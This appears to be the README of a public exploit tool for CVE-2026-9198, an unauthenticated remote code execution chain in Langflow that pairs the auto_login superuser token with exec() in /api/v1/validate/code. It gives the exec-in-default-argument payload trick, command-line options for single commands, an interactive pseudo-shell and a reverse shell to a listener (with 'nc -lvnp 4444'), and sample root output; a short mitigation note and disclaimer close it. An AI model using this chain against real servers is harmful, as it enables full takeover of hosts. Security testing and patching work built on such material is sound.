
Эксплойт для CVE-2026-9198, содержащий PoC-пейлоады и шаги валидации для оценки уязвимости в целевых средах.
Неаутентифицированное удалённое выполнение кода в IBM Langflow OSS (1.0.0 – 1.10.0) при развёртывании по умолчанию. Объединяет две уязвимости:
GET /api/v1/auto_login выдаёт JWT с правами SUPERUSER любому
вызывающему без учётных данных, если включён AUTO_LOGIN (по умолчанию в
Langflow < 1.5).POST /api/v1/validate/code передаёт предоставленный пользователем Python-код в
exec() без песочницы.Вместе (CVE-2026-9198) неаутентифицированный атакующий получает выполнение кода от имени
пользователя службы Langflow — которым часто является root.
Запрашивает bearer-токен суперпользователя у /api/v1/auto_login (без аутентификации).
Отправляет полезную нагрузку на /api/v1/validate/code. Конечная точка выполняет код через exec(), чтобы
«проверить» его; Python вычисляет значения аргументов по умолчанию во время определения, поэтому
полезная нагрузка оборачивается в аргумент по умолчанию функции:
def _v(a=exec('<payload>')): pass
Для выполнения команд полезная нагрузка вызывает исключение, сообщением которого является
вывод команды, и конечная точка возвращает его в ответе
(function.errors[]).
./exploit.py -t <target> [options]
-t, --target target host/IP (or full URL) (required)
-p, --port Langflow port (default 7860)
-c, --cmd run a single shell command, print output
--shell interactive pseudo-shell (each line runs via the RCE)
--lhost reverse-shell listener IP
--lport reverse-shell listener port (default 4444)
-k, --token use this bearer token (skip auto_login)
--timeout HTTP timeout in seconds (default 20)
--no-banner suppress the banner
-h, --help show help
$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow unauthenticated RCE
auto_login (superuser token) -> validate/code (exec)
[*] requesting superuser token via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)
$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b
$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit.
langflow$ hostname
flow
langflow$ whoami
root
# reverse shell (start `nc -lvnp 4444` first)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ...
[+] payload sent. Check your listener.
pip install не требуется)AUTO_LOGIN (по умолчанию для Langflow < 1.5; на
>= 1.5 он должен быть явно задан как LANGFLOW_AUTO_LOGIN=true). Если auto_login не возвращает
токен, цель не эксплуатируема этим путём — передайте действительный токен через
-k, если он у вас есть.function.errors[]; stderr
объединяется с stdout, поэтому неудачные команды всё равно показывают свою ошибку.root (обычно при
запуске langflow run напрямую под systemd/Docker от имени root), это прямой root на хосте.validate/code не должен выполнять через exec()
недоверенный ввод, а auto_login не должен выдавать токены суперпользователя.LANGFLOW_AUTO_LOGIN=false и настройте реальные учётные данные суперпользователя.root.Этот проект публикуется исключительно для авторизованного тестирования безопасности и образовательных целей. Не используйте его против систем, которыми вы не владеете и на тестирование которых у вас нет явного разрешения. Автор не несёт ответственности за неправомерное использование.